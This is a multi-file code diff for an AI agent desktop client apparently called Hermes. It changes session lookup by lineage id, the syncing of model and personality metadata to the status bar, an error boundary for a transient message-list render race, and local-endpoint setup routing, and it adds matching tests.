runtimeInfo.reasoningEffort = payload.reasoning_effort
|
||||
}
|
||||
|
||||
if (typeof payload?.service_tier === 'string') {
|
||||
setCurrentServiceTier(payload.service_tier)
|
||||
runtimeInfo.serviceTier = payload.service_tier
|
||||
}
|
||||
|
||||
if (typeof payload?.fast === 'boolean') {
|
||||
setCurrentFastMode(payload.fast)
|
||||
runtimeInfo.fast = payload.fast
|
||||
}
|
||||
|
||||
if (typeof payload?.yolo === 'boolean') {
|
||||
setYoloActive(payload.yolo)
|
||||
runtimeInfo.yolo = payload.yolo
|
||||
}
|
||||
}
|
||||
|
||||
if (sessionId && Object.keys(runtimeInfo).length > 0) {
|
||||
updateSessionState(sessionId, state => ({ ...state, ...runtimeInfo }))
|
||||
}
|
||||
if (sessionId && hasStatePatch) {
|
||||
updateSessionState(sessionId, state => ({
|
||||
...state,
|
||||
...statePatch,
|
||||
branch: statePatch.branch ?? state.branch,
|
||||
cwd: statePatch.cwd ?? state.cwd
|
||||
}))
|
||||
}
|
||||
|
||||
if (apply) {
|
||||
if (runningChanged && sessionId) {
|
||||
updateSessionState(sessionId, state => {
|
||||
const busy = Boolean(payload!.running)
|
||||
@@ -878,6 +933,8 @@ export function useMessageStream({
|
||||
// raise it and wait — the sidebar flags "needs input" and the inline bar
|
||||
// surfaces once the user focuses that chat.
|
||||
setApprovalRequest({
|
||||
// false only when a tirith warning forbids it; backend omits the field otherwise.
|
||||
allowPermanent: payload?.allow_permanent !== false,
|
||||
command: typeof payload?.command === 'string' ? payload.command : '',
|
||||
description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
|
||||
sessionId: sessionId ?? null
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { MutableRefObject } from 'react'
|
||||
import { useCallback, useRef } from 'react'
|
||||
import type { NavigateFunction } from 'react-router-dom'
|
||||
|
||||
import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, getSessionMessages, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
|
||||
import { normalizePersonalityValue } from '@/lib/chat-runtime'
|
||||
@@ -43,7 +43,7 @@ import {
|
||||
workspaceCwdForNewSession
|
||||
} from '@/store/session'
|
||||
import { reportBackendContract } from '@/store/updates'
|
||||
import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, UsageStats } from '@/types/hermes'
|
||||
import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, SessionRuntimeInfo, UsageStats } from '@/types/hermes'
|
||||
|
||||
import { NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../routes'
|
||||
import type { ClientSessionState, SidebarNavItem } from '../../types'
|
||||
@@ -209,16 +209,67 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
|
||||
setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
|
||||
}
|
||||
|
||||
function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Partial<
|
||||
Pick<ClientSessionState, 'branch' | 'cwd' | 'fast' | 'model' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'>
|
||||
> | null {
|
||||
function sessionMatchesStoredId(session: SessionInfo, storedSessionId: string): boolean {
|
||||
return session.id === storedSessionId || session._lineage_root_id === storedSessionId
|
||||
}
|
||||
|
||||
function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
|
||||
const lineage = session._lineage_root_id ?? session.id
|
||||
|
||||
setSessions(prev => [
|
||||
session,
|
||||
...prev.filter(existing => {
|
||||
if (sessionMatchesStoredId(existing, storedSessionId)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return (existing._lineage_root_id ?? existing.id) !== lineage
|
||||
})
|
||||
])
|
||||
}
|
||||
|
||||
async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
|
||||
const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (cached) {
|
||||
return cached
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await listAllProfileSessions(500, 0, 'include', 'recent', 'all')
|
||||
const resolved = result.sessions.find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (resolved) {
|
||||
upsertResolvedSession(resolved, storedSessionId)
|
||||
}
|
||||
|
||||
return resolved
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
|
||||
type SessionRuntimeStatePatch = Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
| 'branch'
|
||||
| 'cwd'
|
||||
| 'fast'
|
||||
| 'model'
|
||||
| 'personality'
|
||||
| 'provider'
|
||||
| 'reasoningEffort'
|
||||
| 'serviceTier'
|
||||
| 'yolo'
|
||||
>
|
||||
>
|
||||
|
||||
function applyRuntimeInfo(info: SessionRuntimeInfo | undefined): SessionRuntimeStatePatch | null {
|
||||
if (!info) {
|
||||
return null
|
||||
}
|
||||
|
||||
const sessionState: Partial<
|
||||
Pick<ClientSessionState, 'branch' | 'cwd' | 'fast' | 'model' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'>
|
||||
> = {}
|
||||
const sessionState: SessionRuntimeStatePatch = {}
|
||||
|
||||
reportBackendContract(info.desktop_contract)
|
||||
|
||||
@@ -226,12 +277,12 @@ function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Part
|
||||
requestDesktopOnboarding(info.credential_warning)
|
||||
}
|
||||
|
||||
if (info.model) {
|
||||
if (typeof info.model === 'string') {
|
||||
setCurrentModel(info.model)
|
||||
sessionState.model = info.model
|
||||
}
|
||||
|
||||
if (info.provider) {
|
||||
if (typeof info.provider === 'string') {
|
||||
setCurrentProvider(info.provider)
|
||||
sessionState.provider = info.provider
|
||||
}
|
||||
@@ -247,7 +298,9 @@ function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Part
|
||||
}
|
||||
|
||||
if (typeof info.personality === 'string') {
|
||||
setCurrentPersonality(normalizePersonalityValue(info.personality))
|
||||
const personality = normalizePersonalityValue(info.personality)
|
||||
setCurrentPersonality(personality)
|
||||
sessionState.personality = personality
|
||||
}
|
||||
|
||||
if (typeof info.reasoning_effort === 'string') {
|
||||
@@ -277,6 +330,16 @@ function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Part
|
||||
return sessionState
|
||||
}
|
||||
|
||||
function applyStoredSessionPreviewRuntimeInfo(stored: { model?: null | string } | undefined) {
|
||||
setCurrentModel(stored?.model || '')
|
||||
setCurrentProvider('')
|
||||
setCurrentReasoningEffort('')
|
||||
setCurrentServiceTier('')
|
||||
setCurrentFastMode(false)
|
||||
setYoloActive(false)
|
||||
setCurrentPersonality('')
|
||||
}
|
||||
|
||||
export function useSessionActions({
|
||||
activeSessionId,
|
||||
activeSessionIdRef,
|
||||
@@ -457,23 +520,41 @@ export function useSessionActions({
|
||||
|
||||
// Swap the single live gateway to this session's profile before any
|
||||
// gateway call (no-op when it's already on that profile / single-profile).
|
||||
const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const storedForProfile = await resolveStoredSession(storedSessionId)
|
||||
const sessionProfile = storedForProfile?.profile
|
||||
|
||||
if (resumeRequestRef.current !== requestId) {
|
||||
return
|
||||
}
|
||||
|
||||
await ensureGatewayProfile(sessionProfile)
|
||||
|
||||
const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
|
||||
const cachedState = cachedRuntimeId && sessionStateByRuntimeIdRef.current.get(cachedRuntimeId)
|
||||
|
||||
if (cachedRuntimeId && cachedState) {
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const cachedViewState =
|
||||
!cachedState.model && stored?.model != null
|
||||
? {
|
||||
...cachedState,
|
||||
model: stored.model || ''
|
||||
}
|
||||
: cachedState
|
||||
|
||||
if (cachedViewState !== cachedState) {
|
||||
sessionStateByRuntimeIdRef.current.set(cachedRuntimeId, cachedViewState)
|
||||
}
|
||||
|
||||
setFreshDraftReady(false)
|
||||
clearNotifications()
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
setActiveSessionId(cachedRuntimeId)
|
||||
activeSessionIdRef.current = cachedRuntimeId
|
||||
syncSessionStateToView(cachedRuntimeId, cachedState)
|
||||
setCurrentCwd(cachedState.cwd)
|
||||
setCurrentBranch(cachedState.branch)
|
||||
syncSessionStateToView(cachedRuntimeId, cachedViewState)
|
||||
setCurrentCwd(cachedViewState.cwd)
|
||||
setCurrentBranch(cachedViewState.branch)
|
||||
setSessionStartedAt(Date.now())
|
||||
|
||||
try {
|
||||
@@ -513,7 +594,8 @@ export function useSessionActions({
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
setSessionStartedAt(Date.now())
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
applyStoredSessionPreviewRuntimeInfo(stored)
|
||||
|
||||
if (stored) {
|
||||
setCurrentUsage(current => ({
|
||||
@@ -762,7 +844,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const removed = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const closingRuntimeId = wasSelected ? activeSessionId : null
|
||||
const previousMessages = $messages.get()
|
||||
@@ -771,7 +853,7 @@ export function useSessionActions({
|
||||
// live tip after compression. Drop both so the pin can't linger.
|
||||
const removedPinId = removed ? sessionPinId(removed) : storedSessionId
|
||||
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
|
||||
// doesn't keep claiming the removed row is still on the server.
|
||||
setSessionsTotal(prev => Math.max(0, prev - 1))
|
||||
@@ -806,7 +888,7 @@ export function useSessionActions({
|
||||
setFreshDraftReady(false)
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (stored) {
|
||||
setCurrentUsage(current => ({
|
||||
@@ -845,7 +927,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const archived = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const previousPinned = $pinnedSessionIds.get()
|
||||
// Pins are keyed on the durable lineage-root id; the stored id may be the
|
||||
@@ -853,7 +935,7 @@ export function useSessionActions({
|
||||
const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
|
||||
|
||||
// Soft-hide: drop from the sidebar immediately, keep the data.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Archived sessions are hidden by the listSessions(min_messages=1) query
|
||||
// on the next refresh, so they count as "removed" for the load-more
|
||||
// footer math.
|
||||
@@ -870,12 +952,12 @@ export function useSessionActions({
|
||||
// in flight and briefly reinsert the still-unarchived backend row. Win
|
||||
// that race after the mutation succeeds so right-click → Archive does
|
||||
// not appear to do nothing until the next full refresh.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
$pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
|
||||
notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
|
||||
} catch (err) {
|
||||
if (archived) {
|
||||
setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
|
||||
setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
|
||||
setSessionsTotal(prev => prev + 1)
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,20 @@ import { act, cleanup, render } from '@testing-library/react'
|
||||
import type { MutableRefObject } from 'react'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $turnStartedAt, setTurnStartedAt } from '@/store/session'
|
||||
import {
|
||||
$currentFastMode,
|
||||
$currentModel,
|
||||
$currentProvider,
|
||||
$currentReasoningEffort,
|
||||
$currentServiceTier,
|
||||
$turnStartedAt,
|
||||
setCurrentFastMode,
|
||||
setCurrentModel,
|
||||
setCurrentProvider,
|
||||
setCurrentReasoningEffort,
|
||||
setCurrentServiceTier,
|
||||
setTurnStartedAt
|
||||
} from '@/store/session'
|
||||
|
||||
import { useSessionStateCache } from './use-session-state-cache'
|
||||
|
||||
@@ -46,12 +59,22 @@ describe('useSessionStateCache — per-session turn timer', () => {
|
||||
return null as unknown as number
|
||||
})
|
||||
setTurnStartedAt(null)
|
||||
setCurrentModel('')
|
||||
setCurrentProvider('')
|
||||
setCurrentReasoningEffort('')
|
||||
setCurrentServiceTier('')
|
||||
setCurrentFastMode(false)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
cleanup()
|
||||
vi.restoreAllMocks()
|
||||
setTurnStartedAt(null)
|
||||
setCurrentModel('')
|
||||
setCurrentProvider('')
|
||||
setCurrentReasoningEffort('')
|
||||
setCurrentServiceTier('')
|
||||
setCurrentFastMode(false)
|
||||
})
|
||||
|
||||
it("keeps a background session's running turn clock and never mirrors it to the view", () => {
|
||||
@@ -115,4 +138,78 @@ describe('useSessionStateCache — per-session turn timer', () => {
|
||||
})
|
||||
expect($turnStartedAt.get()).toBeNull()
|
||||
})
|
||||
|
||||
it('mirrors the focused session model metadata when switching from a cached session', () => {
|
||||
let cache!: Cache
|
||||
const { rerender } = render(
|
||||
<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
|
||||
)
|
||||
|
||||
act(() => {
|
||||
cache.updateSessionState(
|
||||
'bg-runtime',
|
||||
state => ({
|
||||
...state,
|
||||
fast: true,
|
||||
model: 'anthropic/claude-opus-4.8',
|
||||
provider: 'anthropic',
|
||||
reasoningEffort: 'high',
|
||||
serviceTier: 'priority'
|
||||
}),
|
||||
'bg-stored'
|
||||
)
|
||||
})
|
||||
|
||||
// Background metadata is cached but must not bleed into the visible statusbar.
|
||||
expect($currentModel.get()).toBe('')
|
||||
expect($currentReasoningEffort.get()).toBe('')
|
||||
expect($currentFastMode.get()).toBe(false)
|
||||
|
||||
rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
|
||||
|
||||
const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
|
||||
expect(bgState).toBeTruthy()
|
||||
|
||||
act(() => {
|
||||
cache.syncSessionStateToView('bg-runtime', bgState!)
|
||||
})
|
||||
|
||||
expect($currentModel.get()).toBe('anthropic/claude-opus-4.8')
|
||||
expect($currentProvider.get()).toBe('anthropic')
|
||||
expect($currentReasoningEffort.get()).toBe('high')
|
||||
expect($currentServiceTier.get()).toBe('priority')
|
||||
expect($currentFastMode.get()).toBe(true)
|
||||
})
|
||||
|
||||
it('clears stale model metadata when the newly focused session has no cached value', () => {
|
||||
setCurrentModel('previous-model')
|
||||
setCurrentProvider('previous-provider')
|
||||
setCurrentReasoningEffort('high')
|
||||
setCurrentServiceTier('priority')
|
||||
setCurrentFastMode(true)
|
||||
|
||||
let cache!: Cache
|
||||
const { rerender } = render(
|
||||
<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
|
||||
)
|
||||
|
||||
act(() => {
|
||||
cache.updateSessionState('bg-runtime', state => ({ ...state }), 'bg-stored')
|
||||
})
|
||||
|
||||
rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
|
||||
|
||||
const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
|
||||
expect(bgState).toBeTruthy()
|
||||
|
||||
act(() => {
|
||||
cache.syncSessionStateToView('bg-runtime', bgState!)
|
||||
})
|
||||
|
||||
expect($currentModel.get()).toBe('')
|
||||
expect($currentProvider.get()).toBe('')
|
||||
expect($currentReasoningEffort.get()).toBe('')
|
||||
expect($currentServiceTier.get()).toBe('')
|
||||
expect($currentFastMode.get()).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
noteSessionActivity,
|
||||
setCurrentFastMode,
|
||||
setCurrentModel,
|
||||
setCurrentPersonality,
|
||||
setCurrentProvider,
|
||||
setCurrentReasoningEffort,
|
||||
setCurrentServiceTier,
|
||||
@@ -53,6 +54,16 @@ interface SessionStateCacheOptions {
|
||||
setMessages: (messages: ChatMessage[]) => void
|
||||
}
|
||||
|
||||
function syncRuntimeMetadataToView(state: ClientSessionState) {
|
||||
setCurrentModel(state.model ?? '')
|
||||
setCurrentProvider(state.provider ?? '')
|
||||
setCurrentReasoningEffort(state.reasoningEffort ?? '')
|
||||
setCurrentServiceTier(state.serviceTier ?? '')
|
||||
setCurrentFastMode(state.fast ?? false)
|
||||
setYoloActive(state.yolo ?? false)
|
||||
setCurrentPersonality(state.personality ?? '')
|
||||
}
|
||||
|
||||
export function useSessionStateCache({
|
||||
activeSessionId,
|
||||
busyRef,
|
||||
@@ -137,12 +148,7 @@ export function useSessionStateCache({
|
||||
setMessages(nextMessages)
|
||||
}
|
||||
|
||||
setCurrentModel(pending.state.model)
|
||||
setCurrentProvider(pending.state.provider)
|
||||
setCurrentReasoningEffort(pending.state.reasoningEffort)
|
||||
setCurrentServiceTier(pending.state.serviceTier)
|
||||
setCurrentFastMode(pending.state.fast)
|
||||
setYoloActive(pending.state.yolo)
|
||||
syncRuntimeMetadataToView(pending.state)
|
||||
setBusy(pending.state.busy)
|
||||
setMutableRef(busyRef, pending.state.busy)
|
||||
setAwaitingResponse(pending.state.awaitingResponse)
|
||||
@@ -167,6 +173,7 @@ export function useSessionStateCache({
|
||||
return
|
||||
}
|
||||
|
||||
syncRuntimeMetadataToView(state)
|
||||
pendingViewStateRef.current = { sessionId, state }
|
||||
|
||||
// Terminal / attention transitions (turn finished, error, or the agent is
|
||||
|
||||
@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
|
||||
import { useI18n } from '@/i18n'
|
||||
import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { startManualProviderOAuth } from '@/store/onboarding'
|
||||
import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
|
||||
|
||||
import { CONTROL_TEXT } from './constants'
|
||||
import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
|
||||
@@ -224,10 +224,23 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
|
||||
}, [apiKeyDraft, selectedProviderRow])
|
||||
|
||||
// OAuth / external providers can't be activated with a pasted key — hand off
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in.
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in. The
|
||||
// custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
|
||||
// local-endpoint form (URL + optional API key) instead of being dead-ended
|
||||
// on the OAuth picker (the original "booted back to the first screen" loop).
|
||||
const startProviderSetup = useCallback(() => {
|
||||
if (selectedProviderRow?.slug) {
|
||||
startManualProviderOAuth(selectedProviderRow.slug)
|
||||
const slug = selectedProviderRow?.slug
|
||||
|
||||
if (!slug) {
|
||||
return
|
||||
}
|
||||
|
||||
const lower = slug.toLowerCase()
|
||||
|
||||
if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
|
||||
startManualLocalEndpoint()
|
||||
} else {
|
||||
startManualProviderOAuth(slug)
|
||||
}
|
||||
}, [selectedProviderRow])
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
|
||||
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { triggerHaptic } from '@/lib/haptics'
|
||||
@@ -43,14 +43,14 @@ export function SessionsSettings() {
|
||||
setLoading(true)
|
||||
|
||||
try {
|
||||
const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
setLocalSessions(result.sessions)
|
||||
} catch (err) {
|
||||
notifyError(err, s.failedLoad)
|
||||
} finally {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
}, [s.failedLoad])
|
||||
|
||||
useEffect(() => {
|
||||
void load()
|
||||
|
||||
@@ -129,6 +129,7 @@ export interface ClientSessionState {
|
||||
serviceTier: string
|
||||
fast: boolean
|
||||
yolo: boolean
|
||||
personality: string
|
||||
busy: boolean
|
||||
awaitingResponse: boolean
|
||||
streamId: string | null
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { cleanup, render, screen } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
afterEach(cleanup)
|
||||
|
||||
function Boom({ error }: { error: Error | null }): null {
|
||||
if (error) {
|
||||
throw error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
|
||||
|
||||
describe('MessageRenderBoundary', () => {
|
||||
it('renders children when nothing throws', () => {
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<div>content</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('content')).toBeTruthy()
|
||||
})
|
||||
|
||||
it('swallows the transient tapClientLookup out-of-bounds store race', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { container } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(container.innerHTML).toBe('')
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('recovers on the next consistent snapshot when resetKey changes', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { rerender } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<Boom error={null} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<div>recovered</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('recovered')).toBeTruthy()
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('re-throws unrelated errors so real bugs still surface', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
expect(() =>
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={new Error('genuine render bug')} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
).toThrow('genuine render bug')
|
||||
|
||||
spy.mockRestore()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,48 @@
|
||||
import { Component, type ReactNode } from 'react'
|
||||
|
||||
// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
|
||||
// throws — rather than returning undefined — when a subscriber reads an index
|
||||
// that the message/parts list no longer has. This races during high-frequency
|
||||
// store replacement (session switch mid-stream, gateway reconnect replay): a
|
||||
// subscriber from the previous, longer list is still in React's notification
|
||||
// queue and reads one slot past the new, shorter array before it can unmount.
|
||||
// The throw is transient and self-heals on the next consistent snapshot, but
|
||||
// without a local boundary it unwinds to the root and blanks the whole app.
|
||||
// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
|
||||
const isTransientLookupError = (error: unknown): boolean =>
|
||||
error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
|
||||
|
||||
interface Props {
|
||||
// Changes whenever the message list mutates; remounting clears the caught
|
||||
// error so the next consistent render recovers silently.
|
||||
resetKey: string
|
||||
children: ReactNode
|
||||
}
|
||||
|
||||
export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
|
||||
state: { error: Error | null } = { error: null }
|
||||
|
||||
static getDerivedStateFromError(error: Error) {
|
||||
return { error }
|
||||
}
|
||||
|
||||
componentDidUpdate(prev: Props) {
|
||||
if (this.state.error && prev.resetKey !== this.props.resetKey) {
|
||||
this.setState({ error: null })
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
if (this.state.error) {
|
||||
// Only swallow the transient store race; re-throw anything else so real
|
||||
// bugs still reach the root error boundary.
|
||||
if (!isTransientLookupError(this.state.error)) {
|
||||
throw this.state.error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
return this.props.children
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,8 @@ import { setMutableRef } from '@/lib/mutable-ref'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { setThreadScrolledUp } from '@/store/thread-scroll'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
const ESTIMATED_ITEM_HEIGHT = 220
|
||||
const OVERSCAN = 4
|
||||
const AT_BOTTOM_THRESHOLD = 4
|
||||
@@ -180,18 +182,20 @@ const VirtualizedThreadInner: FC<VirtualizedThreadProps> = ({
|
||||
key={virtualItem.key}
|
||||
ref={virtualizer.measureElement}
|
||||
>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
<MessageRenderBoundary resetKey={messageSignature}>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
</MessageRenderBoundary>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
|
||||
@@ -1528,6 +1528,8 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
|
||||
>
|
||||
<div
|
||||
aria-label={copy.editMessage}
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
autoFocus
|
||||
className={cn(
|
||||
'ui-prompt-input-editor__input max-h-48 w-full resize-none bg-transparent p-0 pr-7 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 outline-none',
|
||||
@@ -1549,9 +1551,26 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
|
||||
onPaste={handlePaste}
|
||||
ref={editorRef}
|
||||
role="textbox"
|
||||
spellCheck={false}
|
||||
suppressContentEditableWarning
|
||||
/>
|
||||
<ComposerPrimitive.Input className="sr-only" tabIndex={-1} unstable_focusOnScrollToBottom={false} />
|
||||
<ComposerPrimitive.Input
|
||||
asChild
|
||||
className="sr-only"
|
||||
submitMode="ctrlEnter"
|
||||
tabIndex={-1}
|
||||
unstable_focusOnScrollToBottom={false}
|
||||
>
|
||||
<textarea
|
||||
aria-hidden
|
||||
autoCapitalize="off"
|
||||
autoComplete="off"
|
||||
autoCorrect="off"
|
||||
className="sr-only"
|
||||
spellCheck={false}
|
||||
tabIndex={-1}
|
||||
/>
|
||||
</ComposerPrimitive.Input>
|
||||
{staging && (
|
||||
<span
|
||||
className="pointer-events-none absolute bottom-2 left-2 inline-flex items-center gap-1 rounded-full bg-background/80 px-1.5 py-0.5 text-[0.62rem] text-muted-foreground backdrop-blur-[1px]"
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import type { HermesGateway } from '@/hermes'
|
||||
import { $gateway } from '@/store/gateway'
|
||||
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
|
||||
import { PendingToolApproval } from './tool-approval'
|
||||
import type { ToolPart } from './tool-fallback-model'
|
||||
|
||||
// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
|
||||
